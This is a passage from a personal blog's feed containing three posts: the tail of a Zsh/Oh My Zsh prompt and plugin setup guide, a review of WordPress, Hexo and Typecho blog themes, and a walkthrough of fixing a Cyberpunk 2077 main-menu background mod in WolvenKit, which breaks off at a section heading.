&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;ZSH_THEME_GIT_PROMPT_DIRTY&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[blue]%&amp;#125;) *&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753529/Typora/2026/10/23/zsh-git-dirty-fixed-clean.png&#34; alt=&#34;An asterisk after the branch name&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Oh My Zsh handles status detection; its settings affect whether untracked files count. Run  &lt;code&gt;git status&lt;/code&gt;  to see the actual changes.&lt;/p&gt;
&lt;span id=&#34;插件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;plugins&#34; data-section=&#34;插件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#plugins&#34;&gt;#&lt;/a&gt; Plugins&lt;/h2&gt;
&lt;p&gt;These are the six plugins enabled in my setup:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;plugins&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;git zsh-autosuggestions zsh-syntax-highlighting z extract web-search&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Put this in  &lt;code&gt;.zshrc&lt;/code&gt;  before Oh My Zsh initialises. The theme defines the prompt; plugins add commands and input behaviour. Install a plugin before adding its name.&lt;/p&gt;
&lt;h3 id=&#34;git&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#git&#34;&gt;#&lt;/a&gt; git&lt;/h3&gt;
&lt;p&gt;Adds shortcuts such as  &lt;code&gt;gst&lt;/code&gt;  for  &lt;code&gt;git status&lt;/code&gt;  and  &lt;code&gt;gco&lt;/code&gt;  for  &lt;code&gt;git checkout&lt;/code&gt; . The theme’s  &lt;code&gt;git_prompt_info&lt;/code&gt;  helper comes with Oh My Zsh independently of this plugin.&lt;/p&gt;
&lt;h3 id=&#34;zsh-autosuggestions&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#zsh-autosuggestions&#34;&gt;#&lt;/a&gt; zsh-autosuggestions&lt;/h3&gt;
&lt;p&gt;Shows suggestions after the cursor, using command history by default. After running  &lt;code&gt;python test.py&lt;/code&gt; , typing the beginning can suggest the rest.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753537/Typora/2026/10/23/zsh-plugins-suggest-clean.png&#34; alt=&#34;The same command prefix with suggestions disabled and enabled&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The upper line has suggestions turned off. In the lower line, grey text is the suggested part awaiting acceptance.&lt;/p&gt;
&lt;h3 id=&#34;zsh-syntax-highlighting&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#zsh-syntax-highlighting&#34;&gt;#&lt;/a&gt; zsh-syntax-highlighting&lt;/h3&gt;
&lt;p&gt;Colours the input so commands, arguments, quoted strings and some invalid input are easier to distinguish. The input highlighting is separate from the directory colour in the prompt.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753536/Typora/2026/10/23/zsh-plugins-highlight-clean.png&#34; alt=&#34;Highlighting disabled, then a valid and an unknown command with it enabled&#34; /&gt;&lt;/p&gt;
&lt;h3 id=&#34;z&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#z&#34;&gt;#&lt;/a&gt; z&lt;/h3&gt;
&lt;p&gt;Jumps to previously visited directories. Once you’ve visited a project folder,  &lt;code&gt;z&lt;/code&gt;  followed by part of its name can find it.&lt;/p&gt;
&lt;h3 id=&#34;extract&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#extract&#34;&gt;#&lt;/a&gt; extract&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;extract filename&lt;/code&gt;  chooses the decompression tool for the archive type. I like having one command for the lot.&lt;/p&gt;
&lt;h3 id=&#34;web-search&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#web-search&#34;&gt;#&lt;/a&gt; web-search&lt;/h3&gt;
&lt;p&gt;Commands such as  &lt;code&gt;google zsh prompt&lt;/code&gt;  open a query in the browser, handy when looking something up from the command line.&lt;/p&gt;
&lt;span id=&#34;字体和显示&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;fonts-and-rendering&#34; data-section=&#34;字体和显示&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#fonts-and-rendering&#34;&gt;#&lt;/a&gt; Fonts and rendering&lt;/h2&gt;
&lt;p&gt;My default iTerm profile uses  &lt;code&gt;JetBrainsMonoNFM-Regular&lt;/code&gt;  at 12 points. Select a font with the appropriate glyphs in your own terminal. If the  &lt;code&gt;&lt;/code&gt;  icon appears as a box, switch fonts or simply replace it with  &lt;code&gt;&amp;gt;&lt;/code&gt;  in the theme.&lt;/p&gt;
&lt;p&gt;Width matters too. My theme declares  &lt;code&gt;%1{%}&lt;/code&gt;  as one cell. If the terminal draws it two cells wide, the cursor can end up in the wrong place.&lt;/p&gt;
</content>
        <updated>2026-02-18T08:19:45.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/life-notes/personal-journal/blog-themes-ive-tried/</id>
        <title>Blog Themes I’ve Tried</title>
        <link rel="alternate" href="https://www.sycamore.top/en/life-notes/personal-journal/blog-themes-ive-tried/"/>
        <content type="html">&lt;p&gt;A few thoughts on blog themes I’ve used, or at least installed. I’ve also included two at the end that caught my eye while reading the documentation.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;关于我的审美&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;what-i-like&#34; data-section=&#34;关于我的审美&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-i-like&#34;&gt;#&lt;/a&gt; What I like&lt;/h2&gt;
&lt;p&gt;I have a weakness for &lt;strong&gt;all the bells and whistles&lt;/strong&gt;: falling cherry blossoms, a little Live2D character in the corner, effects when you click the mouse, a big beautiful cover image…&lt;/p&gt;
&lt;p&gt;I’ve browsed and installed plenty of clean, elegant themes. They look good at first. Two days later I usually find myself changing themes again.&lt;/p&gt;
&lt;p&gt;Maybe they just feel a little too blank for me.&lt;/p&gt;
&lt;h2 id=&#34;wordpress&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#wordpress&#34;&gt;#&lt;/a&gt; WordPress&lt;/h2&gt;
&lt;p&gt;WordPress has enough themes and plugins that whenever I felt like tinkering, there was always something else to install. I did run into a sluggish dashboard and slow-loading pages, though.&lt;/p&gt;
&lt;p&gt;These are impressions from my own setup at the time. A slow site isn’t necessarily the theme’s fault. I quite liked Argon, for instance.&lt;/p&gt;
&lt;h3 id=&#34;sakura&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#sakura&#34;&gt;#&lt;/a&gt; Sakura&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696367/Typora/2026/10/theme-showcase-sakura.jpg&#34; alt=&#34;Official Sakura theme showcase&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/mashirozx/Sakura&#34;&gt;Sakura, maintained by mashirozx&lt;/a&gt;, is right up my street, down to the little details.&lt;/p&gt;
&lt;p&gt;I followed quite a few tutorials to get different effects working. My Live2D character never made it past the default model; designing and rigging one myself turned out to be a tall order.&lt;/p&gt;
&lt;p&gt;The site I built with it really did load slowly. Eventually I couldn’t put up with it and switched away. For a while I kept it around purely because it was pretty.&lt;/p&gt;
&lt;p&gt;I also wanted an About page built around a BotUI chatbot. I remember spending ages on that, trying one suggestion after another from Google. The JavaScript seemed to do absolutely nothing. Maybe it never loaded in the first place…&lt;/p&gt;
&lt;p&gt;For all the tinkering, I still like how Sakura looks. To find the settings now I’d start with the repository guide. The theme has its own settings screen, so plenty of changes are possible without touching the source files. For further styling, the author recommends a child theme.&lt;/p&gt;
&lt;h3 id=&#34;sakurairo&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#sakurairo&#34;&gt;#&lt;/a&gt; Sakurairo&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696368/Typora/2026/10/theme-showcase-sakurairo.png&#34; alt=&#34;Sakurairo in use on networkos.club&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The screenshot is from &lt;a href=&#34;https://networkos.club/&#34;&gt;networkos.club&lt;/a&gt;, a site in the official showcase. It’s someone else’s setup, rather than my old site or the default appearance.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/mirai-mamori/Sakurairo&#34;&gt;Sakurairo&lt;/a&gt; is a reworking of Sakura V3. Its &lt;a href=&#34;https://docs.fuukei.org/&#34;&gt;manual&lt;/a&gt; groups settings by scope, including global options, the home page and individual pages. Having so much in the dashboard would have saved me some of the hunting through tutorials I did with Sakura.&lt;/p&gt;
&lt;p&gt;What you can change depends on the version and configuration. Unfortunately I still had the same slow loading when I used it.&lt;/p&gt;
&lt;h3 id=&#34;ashe&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#ashe&#34;&gt;#&lt;/a&gt; Ashe&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696368/Typora/2026/10/theme-showcase-ashe.jpg&#34; alt=&#34;Official Ashe theme showcase&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/themes/ashe/&#34;&gt;Ashe theme page&lt;/a&gt; describes support for personal and multi-author blogs, a large header image, a full-screen slider and a mobile layout. Compared with the first two themes, the photos and posts take centre stage.&lt;/p&gt;
&lt;p&gt;If what you want is one lovely big image and a clear list of posts underneath, this one is worth a look.&lt;/p&gt;
&lt;h3 id=&#34;argon&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#argon&#34;&gt;#&lt;/a&gt; Argon&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696376/Typora/2026/10/theme-showcase-argon.jpg&#34; alt=&#34;Official Argon theme showcase&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/solstice23/argon-theme&#34;&gt;Argon&lt;/a&gt; is one I came away liking. You can change the theme colour, choose a one-, two- or three-column layout, and switch to night mode.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://argon-docs.solstice23.top/&#34;&gt;theme documentation&lt;/a&gt; is a good place to see what you’d like to configure.&lt;/p&gt;
&lt;h2 id=&#34;hexo&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#hexo&#34;&gt;#&lt;/a&gt; Hexo&lt;/h2&gt;
&lt;h3 id=&#34;shokax&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#shokax&#34;&gt;#&lt;/a&gt; ShokaX&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696371/Typora/2026/10/theme-showcase-shokax.png&#34; alt=&#34;My customised ShokaX site&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/theme-shoka-x/hexo-theme-shokaX&#34;&gt;ShokaX&lt;/a&gt; is derived from Shoka. It’s the theme this blog uses.&lt;/p&gt;
&lt;p&gt;I’ve changed the styling, so the current site only tells you so much about the default look. I’ve written up the details in my &lt;a href=&#34;/en/blog-building/theme-customization/customising-my-shokax-theme/&#34;&gt;customisation notes&lt;/a&gt; and &lt;a href=&#34;/en/blog-building/theme-customization/updating-my-shokax-theme/&#34;&gt;upgrade notes&lt;/a&gt;.&lt;/p&gt;
&lt;span id=&#34;另外两个可以看看&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;two-more-that-caught-my-eye&#34; data-section=&#34;另外两个可以看看&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#two-more-that-caught-my-eye&#34;&gt;#&lt;/a&gt; Two more that caught my eye&lt;/h2&gt;
&lt;p&gt;These two are based on the official material. I haven’t used them in the same way as the ones above.&lt;/p&gt;
&lt;span id=&#34;typechojoe&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;typecho-joe&#34; data-section=&#34;typechojoe&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#typecho-joe&#34;&gt;#&lt;/a&gt; Typecho: Joe&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696372/Typora/2026/10/theme-showcase-joe.png&#34; alt=&#34;Official Joe theme showcase&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/HaoOuBa/Joe&#34;&gt;Joe&lt;/a&gt; has a two-column layout, configurable colours and syntax highlighting. It looks worth considering for a technical blog on Typecho if you like a little more going on around the posts.&lt;/p&gt;
&lt;span id=&#34;hexobutterfly&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;hexo-butterfly&#34; data-section=&#34;hexobutterfly&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#hexo-butterfly&#34;&gt;#&lt;/a&gt; Hexo: Butterfly&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696372/Typora/2026/10/theme-showcase-butterfly.jpg&#34; alt=&#34;Official Butterfly theme showcase&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/jerryc127/hexo-theme-butterfly&#34;&gt;Butterfly&lt;/a&gt; has a distinct card layout and two columns, with night mode, background effects and mouse-click effects. You can probably see why it appealed to me.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://butterfly.js.org/&#34;&gt;official demo and docs&lt;/a&gt; are a good way to pick out the effects you want.&lt;/p&gt;
</content>
        <updated>2025-10-12T04:54:13.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/game-workshop/game-modding/repairing-the-ciri-main-menu-background-mod/</id>
        <title>Repairing the Ciri Main Menu Background Mod</title>
        <link rel="alternate" href="https://www.sycamore.top/en/game-workshop/game-modding/repairing-the-ciri-main-menu-background-mod/"/>
        <content type="html">&lt;p&gt;I wanted &lt;a href=&#34;https://www.nexusmods.com/cyberpunk2077/mods/2541&#34;&gt;Ciri in Night City – Main Menu Background Replacer&lt;/a&gt; to work on Cyberpunk 2077 version 2.0 and later, including the Phantom Liberty logo.&lt;/p&gt;
&lt;p&gt;Update 1.1.0: In my 1.0.0 fix, the animations that play when loading a save disappeared. I’ve restored the sequence, although its final shot now uses the replacement main menu background.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The missing logo and missing loading sequence have different causes. The logo disappeared because the mod shipped older textures. The sequence disappeared because of how broadly the original mod replaced the background assets.&lt;/p&gt;
&lt;p&gt;If you’re here for the loading animations, skip to the final section. That’s where I rebuild the mod from scratch.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Here’s the original mod at startup. The Phantom Liberty logo is missing:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696328/Typora/2025/08/c42fe5caab097e56ca6115aa25028bde.png&#34; alt=&#34;The original Ciri menu without the expansion logo&#34; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;span id=&#34;logo-的修改方法&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;fixing-the-logo&#34; data-section=&#34;logo-的修改方法&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#fixing-the-logo&#34;&gt;#&lt;/a&gt; Fixing the logo&lt;/h1&gt;
&lt;p&gt;I used WolvenKit.&lt;/p&gt;
&lt;span id=&#34;往日之影-logo-补充&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;restore-the-phantom-liberty-logo&#34; data-section=&#34;往日之影-logo-补充&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#restore-the-phantom-liberty-logo&#34;&gt;#&lt;/a&gt; Restore the Phantom Liberty logo&lt;/h2&gt;
&lt;p&gt;Open Mod Browser and locate the installed mod.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696329/Typora/2025/08/5d8a49a1184590d333259cd53e8847dd.png&#34; alt=&#34;The installed mod in WolvenKit&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Right-click the base folder and choose &lt;strong&gt;Add selected items to project&lt;/strong&gt;. In Project Explorer, find and delete  &lt;code&gt;menu_background.xbm&lt;/code&gt;  and  &lt;code&gt;menu_background_1080p.xbm&lt;/code&gt; . These are the two files causing the problem.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696329/Typora/2025/08/f508d2dcb910791026ac4f0cf9bfa3e5.png&#34; alt=&#34;The two menu background textures in Project Explorer&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;最后的工作打包&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;pack-the-project&#34; data-section=&#34;最后的工作打包&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#pack-the-project&#34;&gt;#&lt;/a&gt; Pack the project&lt;/h2&gt;
&lt;p&gt;Choose &lt;strong&gt;Build → Pack Project&lt;/strong&gt;. WolvenKit writes a ZIP archive in the project folder. Remove the original mod and install the newly packed version in Cyberpunk 2077. The expansion logo is back:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696338/Typora/2025/08/fbc6ffdfb07adb1f77abc0edd380520e.png&#34; alt=&#34;The replacement background with the expansion logo restored&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;分析原-mod&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;how-the-original-mod-works&#34; data-section=&#34;分析原-mod&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#how-the-original-mod-works&#34;&gt;#&lt;/a&gt; How the original mod works&lt;/h1&gt;
&lt;p&gt;Some background: &lt;a href=&#34;/en/game-workshop/game-modding/reading-cyberpunk-2077s-ui-assets/&#34;&gt;Reading Cyberpunk 2077’s UI assets&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I took the long way round to figure this out. Here’s what I found along the way.&lt;/p&gt;
&lt;span id=&#34;定位背景图片的位置&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;locating-the-background&#34; data-section=&#34;定位背景图片的位置&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#locating-the-background&#34;&gt;#&lt;/a&gt; Locating the background&lt;/h2&gt;
&lt;p&gt;The mod changes quite a few files. I started by looking for the actual image it replaced.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The main menu image changes as you progress through the story. I traced the images to  &lt;code&gt;base\gameplay\gui\world\loading_screens\&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;Directory names such as  &lt;code&gt;loading_screen_5_after_q101&lt;/code&gt;  and  &lt;code&gt;loading_screen_10_after_q112&lt;/code&gt;  seem to correspond to story milestones. For instance, here’s  &lt;code&gt;loading_screen_10_after_q112\loading_screen_10_shot_01.xbm&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696336/Typora/2025/08/3609b16ee976bb030b37db1649a51d31.png&#34; alt=&#34;The background associated with q112&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I recognised that as the background that appears after sneaking in to install the virus on the float. Here’s another example,  &lt;code&gt;loading_screen_5_after_q101\loading_screen_5_shot_01.xbm&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696336/Typora/2025/08/ffbe63923183b7d8602c1046d1bc2b84.png&#34; alt=&#34;The background texture associated with q101&#34; /&gt;&lt;/p&gt;
&lt;p&gt;It matches the menu in my current save:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696341/Typora/2025/08/a4e7e61df94dc872b29a72dd4b9fe6ba.png&#34; alt=&#34;The same background on my main menu&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;进一步分析-inkwidget&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;a-closer-look-at-the-inkwidget&#34; data-section=&#34;进一步分析-inkwidget&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#a-closer-look-at-the-inkwidget&#34;&gt;#&lt;/a&gt; A closer look at the inkwidget&lt;/h2&gt;
&lt;p&gt;The corresponding  &lt;code&gt;.inkwidget&lt;/code&gt;  seemed the likely place to change the background. The old mod still replaced it successfully, despite the missing logo, so I could use it for comparison.&lt;/p&gt;
&lt;p&gt;I focused on  &lt;code&gt;loading_screen_5_after_q101.inkwidget&lt;/code&gt;  because I could compare it with the menu I was actually seeing. The game file is on the left, the modded file on the right:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696341/Typora/2025/08/a23b9f1dc9b8ff26b6639b55bb702376.png&#34; alt=&#34;Original and modified loading-screen widgets&#34; /&gt;&lt;/p&gt;
&lt;p&gt;On the right, the important file is  &lt;code&gt;cp_bg_alpha_faded.bk2&lt;/code&gt; , the replacement Ciri animation. On the left, my background used the first shot, so I set the second and third shots aside.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;smoke_loop.bk2&lt;/strong&gt; is a looping video of smoke.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;shot_01_assets.inkatlas&lt;/strong&gt; picks out the three light columns ( &lt;code&gt;ad&lt;/code&gt; ) and the blinking lights ( &lt;code&gt;antenna_lights&lt;/code&gt; ) from the texture.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696341/Typora/2025/08/28b987b84f447477c8c464cf7621f2cc.png&#34; alt=&#34;The atlas entries for the light effects&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Here’s the underlying texture,  &lt;code&gt;short_01_assets.xbm&lt;/code&gt; . You can see the light effects together before the atlas separates them:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696343/Typora/2025/08/01b0e79632d94fc3339833106b191ccf.png&#34; alt=&#34;The texture containing the light effects&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;loading_screen_5_shot_01.inkatlas&lt;/strong&gt; supplies the main background. Its four bounds run from 0 to 1, so the selected region covers the entire texture.&lt;/p&gt;
&lt;p&gt;On the annotated menu, ① is the smoke loop and ② comes from the shot assets atlas:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696346/Typora/2025/08/48590ddd97bd03ba9d708ed367fa1ef8.png&#34; alt=&#34;Smoke and lighting layers marked on the main menu&#34; /&gt;&lt;/p&gt;
&lt;p&gt;For the still image in this particular scene, replacing  &lt;code&gt;loading_screen_5_shot_01.xbm&lt;/code&gt;  would do it.&lt;/p&gt;
&lt;span id=&#34;原-mod-思路分析&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;why-the-mod-replaces-every-widget&#34; data-section=&#34;原-mod-思路分析&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#why-the-mod-replaces-every-widget&#34;&gt;#&lt;/a&gt; Why the mod replaces every widget&lt;/h2&gt;
&lt;p&gt;Replacing that one texture wouldn’t cover the other stages of the story. Looking more closely, I found that the modded  &lt;code&gt;loading_screen_5_after_q101.inkwidget&lt;/code&gt;  had the same contents as the game’s  &lt;code&gt;base\gameplay\gui\world\loading_screens\initial_loading_screen\initial_loading_screen.inkwidget&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696345/Typora/2025/08/99b267900fa56628ce107626801cda75.png&#34; alt=&#34;The modded widget beside the initial loading screen widget&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The  &lt;code&gt;cp_bg_alpha_faded.bk2&lt;/code&gt;  animation referenced by that initial widget had already been replaced with Ciri. Copying the widget into the q101 folder therefore gave that menu the Ciri background as well. The original mod did the same in every corresponding folder. If the game keeps switching backgrounds, why not replace the lot?&lt;/p&gt;
&lt;span id=&#34;往日之影-logo-修复点分析&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;where-the-logo-fix-actually-belongs&#34; data-section=&#34;往日之影-logo-修复点分析&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#where-the-logo-fix-actually-belongs&#34;&gt;#&lt;/a&gt; Where the logo fix actually belongs&lt;/h2&gt;
&lt;p&gt;None of that detective work directly fixed the logo. I couldn’t find a logo in the original q101 widget; what I’d traced was the background replacement. But once I’d accounted for those files, the rest of the mod was much easier to inspect.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Two files stood out under  &lt;code&gt;base\gameplay\gui\fullscreen\main_menu\&lt;/code&gt; :  &lt;code&gt;menu_background.xbm&lt;/code&gt;  and  &lt;code&gt;menu_background_1080p.xbm&lt;/code&gt; . Here’s the modded texture on the left and the game’s on the right:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696347/Typora/2025/08/e99ca6d089324954b2dfb1f94b502241.png&#34; alt=&#34;The old texture lacks the Phantom Liberty logo&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The game already has the right logo. The mod’s older textures override it. Removing both textures from the mod lets the game use its own copies.&lt;/p&gt;
&lt;span id=&#34;update修复丢失的加载动画&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;update-restoring-the-loading-animations&#34; data-section=&#34;update修复丢失的加载动画&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#update-restoring-the-loading-animations&#34;&gt;#&lt;/a&gt; Update: restoring the loading animations&lt;/h1&gt;
&lt;p&gt;After fixing the logo, I loaded a save from the main menu. Usually there’s a short sequence that changes with the story. This time the entire load was black.&lt;/p&gt;
&lt;p&gt;The sequence has three shots. Here are examples, in playback order:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696349/Typora/2025/08/d2aaf1434e40937c6fd9f92d2131d7fc.png&#34; alt=&#34;First loading shot&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696350/Typora/2025/08/fe3589af6f3db84af35d50c00c442090.png&#34; alt=&#34;Second loading shot&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696352/Typora/2025/08/96c0c166085ec678bf9a94549e0ab157.png&#34; alt=&#34;Third loading shot&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;加载动画丢失原因分析&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;why-the-sequence-went-missing&#34; data-section=&#34;加载动画丢失原因分析&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#why-the-sequence-went-missing&#34;&gt;#&lt;/a&gt; Why the sequence went missing&lt;/h2&gt;
